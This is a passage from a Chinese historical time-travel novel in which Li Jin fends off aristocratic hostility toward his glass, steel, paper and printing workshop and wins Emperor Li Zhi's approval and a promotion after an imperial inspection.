首先坐不住的,是那些与“琉璃”相关的旧有利益集团。唐代琉璃(或称玻璃)制造虽不普及,但亦有传承。官营的“将作监”下属“百工署”有琉璃作,能烧制一些简单的彩色琉璃珠、簪饰、小件器皿,用于宫廷赏赐和礼仪。民间亦有少数工匠家族,掌握着不那么透明的、带有浓厚西域或波斯风格的“琉璃”烧制技术,所出之物虽不晶莹,却也价值不菲,主要供应达官贵人赏玩。“周氏明玻”的出现,以其无与伦比的透明度、纯净度和可塑性,瞬间将这些旧式“琉璃”映衬得黯淡无光,形同瓦砾。将作监的琉璃匠人头目被上司叫去狠批,民间琉璃匠人的订单锐减,价格暴跌。断人财路如杀人父母,这股怨气,很快便在相关人等的串联下,汇成了一股暗流。
“那‘周氏’的‘明玻’,定是用了妖法邪术!” 将作监一位负责琉璃作的直官在私下酒宴上愤愤不平,“某家世代相传的‘药玉’(对琉璃的雅称)之法,已臻化境,亦不敢言能得如此纯净通透之大件!其物来得蹊跷,恐非正途!听闻其工坊内,炉火昼夜不息,烟尘蔽日,恐是行那‘点石成金’、‘采炼魂魄’的左道之术!”
“正是!其物过于完美,反类妖异。” 一位与民间琉璃大户有旧的文士附和道,“且其工坊行事诡秘,匠人皆签死契,与外界隔绝,所耗石炭、白碱等物,数量惊人,来路不明。此等行径,岂是正经商贾所为?依某之见,当请有司严查!”
其次,是那些在“赏珍雅集”上未能如愿、或本就对“周氏工坊”及其背后隐约可见的东宫背景心存芥蒂的勋贵朝臣。萧瑀府上那位管事回去后,将当晚情形添油加醋一番禀报,重点描述了于志宁如何“以势压人”、王掌柜如何“狡诈圆滑”、最终萧府如何“被迫”出了三千五百贯巨款却“镜财两空”。尽管萧瑀仍在闭门,闻之亦是气得摔了茶杯,对门下令道:“查!给老夫仔细地查!这‘周氏’到底是何方神圣?与东宫,与那李瑾,究竟是何关联?其财货往来、匠人户籍、物料采购,一处处给老夫挖出来!不信没有把柄!”
与萧瑀一系亲近、或在朝中与太子、王皇后一系不甚和睦的官员,也纷纷将目光投向了城南那座日渐显赫的工坊。他们或许不在意几件琉璃玩物,但他们在意的是“周氏工坊”展现出的惊人敛财能力,以及这种能力可能为东宫带来的助力。更令他们警惕的是,工坊那种“标准化”、“流水化”的生产方式,以及隐隐透露出的对“匠技”的推崇与革新,似乎与儒家“重道轻器”、“重农抑商”的传统理念有所扞格。若放任此等“奇技淫巧”大兴,恐动摇“士农工商”的固有秩序,助长“逐利”之风,甚至让那些“操持贱业”的工匠凭借“奇技”获取不该有的财富与影响力,这是许多秉持传统观念的士大夫所不能容忍的。
“《礼记》有云:‘奇技奇器以疑众,杀!’ 非谓其器不美,乃恐其惑乱人心,使人舍本逐末也。” 一位以清流自诩的御史在私下议论时如此说道,“今‘周氏’以琉璃之巧,聚敛巨万,引得长安贵人竞相追逐,奢靡之风更炽。长此以往,人人慕利,谁还安心耕读?其工坊内,匠人几同奴役,却又授以奇技,许以厚利,此非鼓励‘匠人干政’之渐耶?不可不察!”
第三股暗流,则来自那些控制着长安及周边重要手工业、商业行会的世家大族与地方豪强。“周氏工坊”不仅产出琉璃,其大规模使用石炭(煤)、试图建立自己的燃料供应体系,已经触动了某些掌控林木、石炭资源的地方豪强利益。其对优质纸张的改良和未来可能的量产,更是直接威胁到把持着造纸原料(如藤、麻)产地和销售渠道的某些江南、巴蜀世家。虽然“新纸”尚未公开上市,但工坊向崇文馆、东宫等处赠送的、质量明显优于市面常见品的“印书纸”和那批活字印刷的《千字文》,已经引起了一些敏感家族的注意。他们或许还不知道“活字印刷”的存在,但已经嗅到了纸张市场可能面临的变局。
“江南顾氏”是掌控宣、歙一带优质楮皮、藤纸生产的大族,其在长安的代表近日频繁拜访与纸张贸易相关的官员和书商,打探“周氏工坊”所用纸张来源。“听闻其纸色润而韧,价却不高,莫非得了新的廉价原料秘方?或是用了邪法?” 顾氏在长安的主事人忧心忡忡地对家族写信,“若其真能大量产出此等优质纸,我顾家百年基业,危矣!当速谋对策,或收买其匠人,或断其原料,万不可令其坐大!”
这些或明或暗的敌意、猜忌与谋划,通过各种渠道,或快或慢地汇聚、发酵,最终形成一张无形的大网,开始悄然罩向城南工坊,也罩向了与工坊有着千丝万缕联系、如今已升至崇文馆直学士兼太子右赞善大夫的李瑾。
李瑾并非对此毫无察觉。王掌柜每日都会将市面上的风声、官吏胥吏态度的微妙变化、以及某些不怀好意的刺探,整理成简报,通过秘密渠道送给他。于志宁也在一次议事间隙,看似随意地提醒他:“近日朝中于‘匠作奇技’、‘与民争利’颇有议论,你与那‘周氏工坊’既有渊源,还需谨慎,莫要授人以柄。” 这话已是相当直白的警告。
杜铭、许元瑜等好友也传来消息,说他们家族中或交游圈内,已有人开始议论“周氏工坊”的“不合礼法”与“来历可疑”,甚至隐约将矛头指向李瑾,质疑他一个宗室子弟、东宫属官,为何与商贾之事牵扯如此之深,是否有“以权谋私”、“结交奸商”之嫌。
感业寺中武曌的密信,也证实了宫中的不平静:“萧妃近日于陛下面前,屡言‘物过美则近妖’,‘奇技惑心’,又‘无意间’提及,闻说城南有工坊,以秘术制琉璃,获利巨万,其匠人皆如囚徒,恐非仁政所宜。陛下笑而不语,然妾观之,其心已动疑。郭老夫人亦言,近日有命妇入宫,言语间对‘琉璃奢靡’颇有微词。君在朝在外,树大招风,当思化解之道。或可主动献利,或可寻一‘大义’名分,使工坊之术,与国计民生相连,则攻讦可稍息。”
武曌的分析一针见血,与李瑾的判断不谋而合。对手的攻击,集中在“奇技淫巧”、“与民争利”、“聚敛无度”、“匠人如囚”以及隐约的“左道嫌疑”上。要化解,不能仅靠防守和辩白,必须主动出击,将工坊与更高的“大义”捆绑,同时适当让渡部分利益,争取更广泛的支持,尤其是……皇帝的支持。
“献利”与“寻大义名分”……李瑾反复咀嚼着这两个词。他铺开纸笔,开始构思。
“献利”相对简单。工坊一夜暴得六千贯,这是瞒不住的消息。与其让人眼红攻讦,不如主动拿出一部分,以“感念天恩”、“报效朝廷”的名义献上。献多少?献给谁?怎么献?需要仔细权衡。献给皇帝内帑?可以,但需巧妙,不能显得是“花钱买平安”,最好是“供奉”、“敬献”珍玩器物之余,再“自愿”捐献一笔“助军”、“赈灾”或“兴学”的款项,名目要正大光明。通过谁献?于志宁?东宫?还是直接通过内侍省?后者更直接,但可能绕过东宫,引起于志宁不快。最好双管齐下,大部分以“周氏工坊”名义通过内侍省“供奉”,一小部分以东宫“发现良匠、进献奇技、得利以充用度”的名义,由李瑾协调,归于东宫。这样,皇帝得了实惠和面子,东宫也得了好处,李瑾的“忠心”和“能干”再次彰显。
“寻大义名分”,则更为关键,也更具挑战。工坊的技术,不能仅仅停留在“制造奢玩”的层面。玻璃、钢铁、新纸、印刷……这些技术,必须与“富国强兵”、“教化百姓”、“改善民生”联系起来,才能堵住那些“奇技淫巧”、“与民争利”的指责。
他再次梳理工坊已有的和正在研发的技术:
玻璃:除了器皿和镜子,是否可用于民生?比如,制造更透光、保暖的玻璃窗户,用于官署、驿站、乃至未来的公共建筑?或者,利用其透光性,制作简易的“温室”覆盖材料,尝试反季节种植?虽然目前成本高昂,但可以作为“祥瑞”或“试验”提出概念。更直接的是,利用玻璃的密封性,制造用于保存疫苗(牛痘浆)、珍贵药材的特制容器,这可以直接与“防疫”、“医疗”挂钩,名正言顺。
钢铁:优质钢铁意味着更好的农具、工具、乃至兵器。可以尝试制造一批改良的钢制犁铧、镰刀、斧头,在皇庄或东宫所属田庄试用,若证明能提高耕作效率、降低损耗,便是“利农”的实绩。甚至可以考虑,在皇帝首肯下,为北衙禁军或边防精锐,小批量试制一些更精良的兵刃箭头,这便与“强兵”相关了。当然,兵器事关重大,必须慎之又慎,目前只能停留在“献上良铁,由将作监打造”的层面。
新纸与印刷:这是最容易与“教化”挂钩的。可以奏请,用新纸和活字印刷术,刊印朝廷准许的经书注疏、农桑医书、乃至皇帝御制诗文集,以“嘉惠士林”、“广布王化”为名,低价或免费发放给各地官学、书院。这既能展示技术,又能赢得文人士子(至少是寒门士子)的好感,还能将“新纸”和“印刷”的初步成果,以最正面的方式公之于众,抢占道德和舆论制高点。
牛痘:这是现成的、无可争议的“大义”。工坊在牛痘推广中提供了洁净器皿和部分支持,此事可进一步宣扬,将工坊与“活人无数”、“防疫安民”的功德联系起来。
李瑾的思路越来越清晰。他需要一份综合性的条陈,向皇帝(或许也向朝廷)阐述“周氏工坊”之“术”,非为私利,实可“利国、利民、利教、利兵”。条陈中,他将提出一系列具体的、看似可行(实则有些超越时代,但可作为长期目标)的“应用建议”,并主动表示愿将部分利润和技术“献于朝廷”,用于这些“利国”之事。同时,他也会委婉提及,工坊目前面临的一些“无端猜疑”和“原料采购困难”,希望朝廷能予以“明辨”和“扶持”。
这份条陈,不能完全以他的名义上奏,那样目标太大。最好能由于志宁领衔,以东宫“察访民间良工奇技、以资国用”的名义呈递。他需要先说服于志宁。
他将于志宁请至自己在东宫的廨署,屏退左右,开门见山。
“于公,近日朝野对城南‘周氏工坊’颇有议论,下官亦有所闻。” 李瑾态度恭谨,“工坊之兴,确因下官偶识其主,见其术新奇,或于国有利,故稍加引荐。不意其竟能成此规模,惹来诸多是非。下官思之,与其任人猜疑,不若主动陈情,将其术之可为、其利之所向,禀明陛下与朝廷。一来可释众疑,二来,或可使其术真正用于国计民生,不负其巧。”
于志宁看着李瑾,目光深邃:“你有此心,甚好。然则,你待如何陈情?工坊之术,无非琉璃奇巧,虽获巨利,然终是‘末业’。朝中清议,重道轻器,恐难认同。”
“于公教训的是。” 李瑾道,“故下官以为,陈情之要,在于‘转器为用’、‘化利为义’。” 他将自己关于玻璃用于医药保存、钢铁改良农具兵刃、新纸印刷用于教化、以及牛痘功德的想法,择要陈述,并递上自己草拟的条陈纲要。“下官恳请于公,以此纲要为基,以东宫明察善用之名义,奏于陛下。工坊愿献出部分所得,并听候朝廷调遣,将其术用于上述利国利民之途。如此,则工坊非私利之窟,而成朝廷试用新技、造福生民之先导。纵有微词,亦难撼大义。”
于志宁接过纲要,仔细翻阅,良久不语。他不得不承认,李瑾这番谋划,心思缜密,格局开阔,将工坊的“奇技”与朝廷最关心的农、兵、教、医挂钩,确实能很大程度上化解“奇技淫巧”的指责。尤其是主动献利、听候调遣的姿态,更显忠忱。若能促成,对东宫而言,也是展现“留意民生、善用人才”的好事。
“你所思,不无道理。” 于志宁缓缓道,“然兹事体大,牵涉甚广。琉璃、钢铁之用,尚需验证;新纸印刷,更关乎文教根本,不可轻动。牛痘之事,已有定论,不必再提。此条陈,老夫可斟酌修改,以东宫名义呈递。然成与不成,尚在陛下与朝议。你需有准备,一旦条陈上达,工坊必将置于众目睽睽之下,再无隐秘可言。届时,是福是祸,犹未可知。”
“下官明白。然与其暗中受人猜忌攻讦,不若光明正大,以术报国。纵有风雨,亦是坦荡。” 李瑾肃然道。
“好一个‘以术报国’、‘纵有风雨,亦是坦荡’!” 于志宁眼中闪过一丝赞赏,“既如此,老夫便替你转呈此议。你且将条陈完善,尤其关于农具、教化二事,需有更具体可行之策。至于工坊献利几何、如何献,也需明确。”
“是!多谢于公!” 李瑾心中一定。有了于志宁的支持,此事便成功了大半。
接下来的数日,李瑾闭门谢客,全力完善条陈。他让王掌柜整理出工坊“赏珍雅集”所得利润的详细账目(当然是经过“处理”的),并拟定一个“自愿”捐献的方案:除已“供奉”入宫的“朗鉴”外,再献钱两千贯,其中一千贯“助边”,五百贯“兴学”,五百贯“备荒”。同时,工坊愿“无偿”为朝廷试制一批改良钢制农具、特制医药玻璃容器,并按成本价供应“新纸”用于官学印书。
条陈写毕,经由于志宁修改润色,以东宫左庶子于志宁、太子右赞善大夫李瑾联名的方式,秘密呈递御前。
就在条陈递上的同时,旧贵们的“怒”与“惊”,也开始转化为具体的行动。
萧瑀门下的御史,率先发难,上了一道弹劾奏疏,虽未直接点名“周氏工坊”,却大谈“近来市井有豪商,以奇巧之物眩惑人心,聚敛无度,富可敌国;其匠作之地,封锁严密,形同禁脔,恐藏奸宄;更闻其与朝中某些新进之士过往甚密,或有勾结牟利、败坏朝纲之嫌。乞陛下下旨严查,以正风气,以儆效尤。” 矛头隐隐指向李瑾及工坊。
掌控纸张贸易的江南顾家,则通过其在朝中的姻亲故旧,开始向负责市舶、商税的衙门施压,要求严查“来历不明、可能逃漏商税”的“新奇货物”,尤其关注“大批石炭、白碱、特殊黏土”的流向。
将作监内对琉璃作不满的势力,则开始暗中搜集所谓“周氏工坊”使用“妖术”、“虐使匠人”的“证据”,并试图通过内侍省的关系,向皇帝进言,暗示“明玻”过于完美,恐“物妖”不详。
数股暗流,从不同方向,开始涌向城南,涌向东宫,涌向李瑾。旧贵们的反击,虽未形成滔天巨浪,却已显露出足以淹没不慎者的险恶潜流。
长安的秋空,依旧高远湛蓝。但李瑾知道,平静之下,一场因“奇技”与“巨利”而引发的风暴,已然迫在眉睫。他能否凭借手中的“大义”名分、主动献利的姿态、以及于志宁和东宫的支持,在这场风暴中稳住阵脚,甚至乘风破浪,将是对他智慧、手腕与运气的又一次严峻考验。
旧贵怒且惊,新锐露峥嵘。这长安城中的博弈,随着工坊烟囱的升起,进入了更加激烈而复杂的深水区。
第48章 帝巡新工坊
于志宁与李瑾联名的条陈,在御前沉寂了数日。这几日,朝堂上关于“奇技”、“商利”、“匠人”的议论,在萧瑀一系明里暗里的推动下,颇有愈演愈烈之势。弹劾的奏疏虽未直接指名,但含沙射影,指向明确。江南顾家等势力的暗中动作,也让市面关于“周氏工坊”的流言蜚语多了几分“实证”色彩。长安城似乎弥漫着一股山雨欲来的压抑气息,许多人在观望,皇帝对这“骤富”且“惹事”的工坊,究竟是何态度。
李瑾依旧每日往来于东宫与崇仁坊之间,神色平静,处理公务一丝不苟,仿佛外间的风雨与他无关。只有最亲近的李福知道,公子书房内的灯火,近来熄灭得越来越晚。他在反复推演皇帝可能的各种反应,以及相应的对策。王掌柜那边也加紧了防备,工坊的护卫增加了两班,核心匠人的家眷被更严密地保护起来,所有账目和工艺记录都做了备份和隐秘存放。
就在这微妙而紧张的时刻,九月初三,宫中忽然传出旨意:皇帝将于翌日巳时,轻车简从,亲临城南“周氏工坊”巡视!旨意中言明,此行乃“闻有巧工奇技,或可利国,特往一观”,点名由太子右赞善大夫李瑾随侍,东宫左庶子于志宁、将作监大匠、内侍省少监陪同。至于“周氏工坊”坊主周某,需准备接驾,如实陈情,不得有误。
这道旨意,如同一声惊雷,瞬间在朝野上下炸响!皇帝要亲临一个私营工坊巡视!这是何等殊荣,又是何等巨大的压力!那些攻讦工坊的人,顿时噤声,惊疑不定地揣测圣意。而那些与工坊有牵连或看好之人,则精神一振,看到了转机。
李瑾接到旨意时,正在东宫与于志宁商议牛痘推广至十六卫的事宜。传旨内侍离去后,于志宁看着李瑾,目光复杂:“陛下此意,甚是突然。看来,你我的条陈,陛下是看进去了,但并未全信。此番巡视,是考较,也是裁决。工坊是骡子是马,明日便要拉出来遛遛了。你可有把握?”
“于公放心。” 李瑾深吸一口气,压下心中的激荡,“工坊所出,皆为实学实干,非虚妄之术。陛下圣明烛照,亲临目睹,是非曲直,自有公断。下官这就去工坊安排接驾事宜。”
“嗯,速去。记住,一切以实呈报,切勿弄虚作假,亦不可刻意藏拙。陛下聪慧,瞒不过他。” 于志宁叮嘱道。
李瑾匆匆出宫,不及回府,直接策马赶往城南工坊。王掌柜早已接到宫中快马通传,正急得如同热锅上的蚂蚁,见李瑾到来,如同见了主心骨。
“公子,陛下亲临,这……这该如何是好?工坊杂乱,恐冲撞圣驾!那些高炉、熔炉,更是烟熏火燎……” 王掌柜满头大汗。
“王叔莫慌。” 李瑾虽心跳加速,但语气沉稳,“陛下是来看‘奇技’、‘实工’的,不是来游园赏花的。工坊就该有工坊的样子。我们要做的,是让陛下看到工坊的井然有序、匠人的专注勤勉、工艺的独到之处,以及……这些技术实实在在的用处。立刻吩咐下去:第一,全坊洒扫,但不必过度装饰,尤其不得掩盖生产痕迹。第二,所有匠人,明日照常劳作,但需衣冠整洁,各守其位,不得喧哗、窥探。陛下问话,据实回答,不知则言不知。第三,规划好巡视路线。先从玻璃量产一区开始,看‘明玻’器皿的标准化生产;然后去冶铁试验区,看高炉与改良农具;再去纸料研造所,看新纸与印刷;最后至文器研造所,看活字与‘奇器’。各处需有精通工艺的匠头(如郑师傅、赵匠师、滕贵等)等候,以备垂询。第四,在玻璃坊旁的成品陈列间设一临时歇息处,备上清茶、用我们自产的玻璃杯盏。所有危险工序、杂乱区域,提前做好警示隔离。第五,也是最重要的,所有守卫明松暗紧,绝不允许任何闲杂人等或可疑之物靠近工坊!”
王掌柜一一记下,心中稍定。“公子,那……那面‘朗鉴’已送入宫中,是否要再准备些珍品,进献陛下?”
“不必额外准备。” 李瑾摇头,“陛下是来看‘工’的,不是来收礼的。将我们准备‘献于朝廷’试制的改良钢犁、镰刀,用于保存牛痘浆的特制玻璃瓶,以及用新纸、活字印刷的《农桑辑要(简本)》和《千字文》准备好,若陛下问及‘利国’之实,便将这些呈上。另外,将那份‘自愿捐献两千贯’的文书也备好,若有机会,可请于公或内侍省少监转呈。”
安排妥当,李瑾又亲自沿着规划的路线走了一遍,对一些细节做了调整,直到月上中天,方才拖着疲惫的身子返回城中。他知道,明日的巡视,将直接决定工坊的命运,乃至他个人未来的走向。成,则工坊获得官方认可甚至扶持,一飞冲天;败,则可能前功尽弃,甚至被那些虎视眈眈的势力撕碎。
九月四日,秋高气爽。辰时末,皇帝李治的御驾便已出了皇城,并未大张旗鼓,只有百余名精锐金吾卫开道护卫,御辇之后跟着于志宁、李瑾、将作监大匠阎立本(阎立德之弟,亦是营造大家)、内侍省少监以及数名随行记录官员的马车,径直向城南而去。
御驾抵达工坊大门时,王掌柜早已率领工坊几位主要管事,身着整洁而不失本色的布袍,跪迎于道旁。李治下了御辇,抬眼望去,只见工坊围墙高耸,大门上方悬挂着“内廷供奉”的匾额,门前洒扫洁净,护卫肃立,不见丝毫慌乱。他微微颔首,对于志宁道:“于卿,这工坊看起来,倒有几分章法。”
“陛下,此坊主事者周某,虽是商贾,然治坊严谨,匠作亦精。” 于志宁回道。
李治不再多言,在众人簇拥下步入工坊。首先映入眼帘的,是规划整齐的道路、分区明确的厂房,以及空气中隐隐传来的、有节奏的劳作声响,而非想象中的杂乱喧嚣。李治眼中闪过一丝讶异。
按照预定路线,御驾先至玻璃量产一区。尚未进入主要厂房,便感到热浪扑面。透过巨大的、镶嵌了平板玻璃的窗户(这是工坊自家产品的最佳广告),可以清晰看到厂房内的景象:数座改良过的池炉烈焰熊熊,玻璃液在炉内缓缓流动,泛着橘红色的光芒。统一着装的匠人们,手持特制的长铁管,从不同的取料口熟练地蘸取一定量的玻璃液,快速回到各自工位。有的在铁砧上滚动、吹制初坯;有的将初坯放入泛着金属冷光的铸铁模具中,合模,从另一端吹管鼓气;有的用特制的铁剪修剪器皿口沿;有的则用带火焰的小炉烘烤边缘,使其圆润。制成的杯、瓶、盏等,被迅速放入旁边传送带(简易的木轨推车)上的铁架,送入隔壁的退火窑。整个流程,分工明确,动作娴熟,虽紧张却有序,带着一种奇异的、富有韵律的美感。匠人们全神贯注于手中活计,对窗外的大队人马恍若未觉。
“陛下,此乃‘明玻’器皿量产之所。” 李瑾在一旁低声讲解,“匠人取料、吹制、成型、修口、退火,各有专司。所用模具乃精钢所铸,尺寸划一,故所出器皿,形制规整。退火之窑,可消除玻璃内应力,使其坚韧不易炸裂。”
李治默默看着,目光在那些晶莹的玻璃液、灵巧的匠人手、以及最终成型的精美器皿上流连。他是见过“明玻”成品的,但亲眼目睹其从滚烫的液体变为剔透的器物,这种感受截然不同。尤其是那种分工协作、宛如一体的生产场面,让他隐隐感到一种不同于传统手工业的、难以言喻的“效率”与“力量”。
“每日可产几何?” 李治问。
王掌柜连忙上前跪答:“回陛下,若原料、燃料充足,熟练匠人全力赶工,日产大小合格器皿,可达二百件以上。然精品难得,十之中或可得二三。”
“二百件……” 李治微微动容。这产量,远超他的想象。“其利如何?”
“这……” 王掌柜略一迟疑,看向李瑾。李瑾接口道:“陛下,物以稀为贵。然工坊之本意,非为囤积居奇。待工艺纯熟,产量大增,成本可降,售价亦可随之调整,使更多士民得享此晶莹之美。日前雅集所得,除成本、匠人薪俸、物料采购外,盈余已拟定章程,部分愿献于朝廷,以助边、兴学、备荒。” 他说着,示意于志宁。于志宁便从袖中取出那份“自愿捐献”文书,简要陈述。
李治接过,扫了一眼,不置可否,将文书递给身旁内侍省少监。“去看看所出之器。”
众人移步至旁边的成品陈列间。这里光线明亮,各类玻璃器皿琳琅满目,在特意布置的灯光下熠熠生辉。李治饶有兴致地拿起一只高足杯,对着光线查看,又用手指轻弹杯壁,听着那清脆的回响。“果然匀净。此物盛酒,可增色不少。”
接着,他又看到了那套用于医药的特制玻璃瓶,听李瑾解释其密封、透明、便于观察和保存疫苗、药液的优点,微微点头。
离开玻璃坊,一行人来到冶铁试验区。这里气氛更加粗粝炽热。“一号高炉”正处在新一炉的冶炼末期,炉火正旺,热风炉隆隆作响,畜力鼓风机“呼哧”工作。赵匠师带着几名学徒,穿着厚厚的浸水麻衣,守在炉前,见圣驾到来,连忙跪倒。
李治让匠人平身,询问高炉炼铁之事。赵匠师不善言辞,但在李瑾的鼓励下,结结巴巴地将高炉如何炼出生铁水、热风如何增温、焦炭如何替代部分木炭等原理,用最直白的话说了出来,并指着旁边几块新炼出、尚未完全冷却的钢锭道:“陛下,此铁水所炼之钢,质地均匀,韧性极佳,小人等正以此试制新式农具。”
李治命人取来一块冷却的钢锭,又命将作监大匠阎立本上前查看。阎立本是行家,拿起钢锭,仔细观其断口光泽,又用随身小锤敲击听音,眼中露出惊异之色:“陛下,此钢锭断口细密银亮,声音清越,杂质甚少,确是上等好钢!较之将作监常得百炼钢,恐亦不遑多让,而其得之……似乎便捷许多!” 他看向那仍在运作的高炉,目光灼热。
李治闻言,兴趣更浓:“以此钢制农具,果然更佳?”
赵匠师连忙让人抬出几件刚刚打制好的改良钢犁铧和镰刀。犁铧呈流畅的曲面,刃口闪着寒光;镰刀弧度巧妙,轻薄锋利。阎立本拿起镰刀,试着挥动几下,又用手指试了试刃口,赞道:“好刀!轻薄锋利,省力耐用。若以此替旧式铁镰,收割效率当可大增!这犁铧形制亦巧,入土省力,翻土更透。”
李治接过镰刀,仔细端详。他虽不事农桑,但也知农具优劣关乎收成。“此等农具,造价若何?可能推广?”
李瑾答道:“回陛下,因是新法初成,试验所耗不菲。然若规模化生产,其钢料得之较易,打造亦因形制固定而更速,长远看来,成本应低于旧式优质铁农具。工坊愿无偿献出此批试制农具及图纸,由将作监或司农寺在官田试用,观其效验。若果有良效,再议推广不迟。”
“嗯。” 李治将镰刀递给随从,不置可否,但眼中的赞许又多了一分。
接下来巡视纸料研造所和文器研造所,给李治带来的震撼丝毫不亚于前两处。在纸料研造所,他看到了利用水力驱动的简易打浆机(虽然效率还不太高,但已让阎立本大为惊叹),看到了经过碱液预处理、纤维分离细腻的纸浆,更亲手抚摸、试写了那种温润柔韧、洁白均匀的“新纸”。当李瑾呈上那本用此纸和活字印刷的《农桑辑要(简本)》,并解释其中文字如何由单个活字排版、快速印制而成时,李治终于露出了明显的惊容。
他快速翻阅着那本小册子,字迹清晰整齐,墨色均匀,每一页都如同一个模子印出,毫无雕版常见的磨损差异或木材纹理。“此……此书皆是如此印出?一套字模,可反复使用,排版变换即可印新内容?” 李治的声音带着一丝难以置信的激动。他深知书籍传播之难,雕版之费。若此术果真可行,其于文教、政令传播的意义,简直难以估量!
“正是。” 李瑾示意郑师傅上前。郑师傅捧着一个排版盘,里面排着“皇帝万岁”四个大字,向皇帝展示如何检字、排版。鲁平则操作一个小型手动印刷台,现场蘸墨、覆纸、压印,很快,一张印有“皇帝万岁”的纸片便呈到李治面前。
看着那与书中毫无二致的清晰字迹,再看看排版盘中那些小小的、整齐划一的木活字,李治沉默了良久。他拿起一枚活字,仔细端详其反刻的笔画,又看向那庞大的、分门别类的字库架,仿佛看到了无穷无尽的知识,正等待被召唤、排列、复制、传播。
“此术……何人所创?” 李治的声音有些干涩。
“回陛下,此乃工坊汇聚巧思,反复试验所得。其理早见于印章,然付诸印书,需解决字模、排版、着墨、用纸诸多难题。工坊侥幸,略有小成。” 李瑾将功劳归于集体,并再次强调,“此术若成,可用于刊印经籍,广布王化;印制农书医书,惠及百姓;乃至朝廷文告、律令格式,亦可快速颁行天下,政令通达,莫便于此。”
李治深深吸了一口气,环视四周。玻璃的晶莹、钢铁的坚韧、新纸的柔白、活字的精巧……还有那井然有序的生产场面、专注投入的工匠、以及李瑾口中那一个个“或可利国”、“或可惠民”的应用设想。这一切,与他之前听到的“奇技淫巧”、“与民争利”、“聚敛无度”的攻讦,形成了何等鲜明的对比!
他心中的天平,在亲眼目睹了这实实在在的“生产力”之后,已然倾斜。
巡视完毕,回到玻璃坊旁设的临时歇息处。李治坐在铺了锦垫的胡床上,用玻璃杯饮着清茶,目光再次扫过垂手侍立的李瑾、于志宁、王掌柜等人。
“李瑾。” 李治缓缓开口。
“臣在。”
“你为太子讲学,献牛痘之术,如今又引荐此等巧工奇技……朕且问你,你如此热衷此道,所求为何?”
这个问题,直指本心。李瑾心念电转,知道这是最后,也是最重要的考验。他撩袍跪倒,声音清晰而恳切:“陛下垂问,臣不敢不尽言。臣年幼失怙,漂泊无依,幸得宗室收录,又蒙陛下不弃,授以微职,侍奉东宫。臣每思皇恩浩荡,无以为报。臣愚钝,于经国大道所知甚浅,然读史览杂,偶知海外地理物产、匠作奇思,或于我朝有所裨益。遂不揣冒昧,但有所闻所见,觉其或可利国、利民、利兵、利教者,必千方百计求证、引荐,盼其能为我大唐添一砖一瓦。此工坊之技,或可增国库之利,或可强兵农之器,或可广教化之途,此便是臣心中所求——以绵薄之技,报君父之恩,助盛世之业。至于浮财虚名,非臣所愿,亦不敢擅专。工坊所得,除维系自身、厚待匠人,余者愿献于朝廷,用之于民。臣之心,天日可鉴!”
他这番话,将个人动机完全归结于“报恩”与“利国”,将工坊技术与国家大义紧密捆绑,姿态放得极低,却又理直气壮。
李治静静听着,脸上看不出喜怒。良久,他方道:“你之所言,朕姑且信之。此工坊之技,确有可观之处。尤其是这新纸、活字之术,于文教大有裨益。高炉之钢,新式农具,亦值一试。然……”
他话锋一转,语气变得严肃:“木秀于林,风必摧之。工坊聚利甚巨,惹人侧目,亦在情理之中。日后当时时谨记‘利国便民’之初心,不可恃技骄狂,不可与民争利过甚,更不可行那盘剥匠人、藏匿奸宄之事。朝廷自有法度,朕亦会着人监察。”
“臣(小人)谨记陛下教诲!” 李瑾与王掌柜连忙叩首。
“于卿。” 李治看向于志宁。
“老臣在。”
“工坊献利、献技之事,由你与将作监、户部协同办理,务求落到实处。新纸、活字之术,关系重大,着将作监、秘书省、国子监派人,与此工坊匠人共同研议,制定规范,先于崇文馆、弘文馆试印一批经史,观其效。改良农具,可于司农寺辖下官田小范围试用。玻璃器皿,宫中可按需采买,然不可奢靡。至于那些无端攻讦之言……” 李治眼中闪过一丝冷意,“朕今日亲见,工坊并非藏污纳垢之地,其术亦有可用之处。传朕口谕,令御史台、京兆府,严查散布谣言、构陷良善之徒,以正视听!”
“臣遵旨!” 于志宁、阎立本等人齐声应道。皇帝这番话,等于是为工坊正了名,定了性,还给予了实质性的支持和发展方向!那些攻讦,不攻自破!
“李瑾。” 李治最后道。
“臣在。”
“你引荐有功,筹划亦佳。着晋为将作监少监丞(从六品上),仍兼崇文馆直学士、太子右赞善大夫,专司协理将作监与此工坊之技物沟通、试验推广事宜。望你勤勉任事,莫负朕望。”
将作监少监丞!虽然仍是佐官,但已是正儿八经的朝廷命官,而且职责明确与工坊技术挂钩!这不仅是酬功,更是将工坊与朝廷的纽带,通过李瑾这个人,正式制度化、合法化了!
“臣,谢陛下隆恩!必当肝脑涂地,以报天恩!” 李瑾强压心中狂喜,重重叩首。
皇帝起驾回宫。工坊内外,所有人才仿佛从一场大梦中醒来,随即被巨大的喜悦与振奋淹没。王掌柜老泪纵横,匠人们欢呼雀跃。他们知道,工坊的危机,过去了!而且得到了皇帝亲口认可和未来发展的许诺!
李瑾独立于工坊大门前,望着御驾远去的烟尘,秋风吹拂着他的绯色官袍。胸中波澜万千,最终化为一片澄澈与坚定。
帝巡新工坊,一锤定音。旧贵的怒与惊,在皇帝亲眼所见的“先进生产力”面前,暂时被压制下去。工坊获得了宝贵的生存空间和发展机遇,而他李瑾,也正式踏入了将作监这个掌管天下百工的核心衙门,有了更广阔的舞台。
然而,他更清楚,皇帝的认可与庇护并非永久的护身符。将作监内利益错综复杂,朝堂上敌意未消,工坊的技术秘密仍需守护,而如何将玻璃、钢铁、新纸、印刷这些“奇技”,真正转化为推动这个古老帝国向前发展的“实学”与“实力”,才是他接下来真正要面对的、更艰巨的挑战。
路,还很长。但今日之后,他脚下的路,已然更加坚实,前方的光,也更加明亮。
第49章 敕封将作丞
皇帝御驾亲临城南工坊、并当众嘉许的口谕,如同九月里最迅猛的秋风,一夜之间便刮遍了长安的宫廷与官署。随之而来的,是正式颁布的任命诏书:擢太子右赞善大夫、崇文馆直学士李瑾,兼将作监少监丞(从六品上),专司协理将作监与“周氏工坊”之技物沟通、试验推广事宜。诏书用词严谨,却明确无误地将李瑾这个“奇技”引荐者与推广者,纳入了帝国最高工艺管理机构的核心圈层,赋予了他名正言顺插手、乃至主导相关技术革新事务的权力。
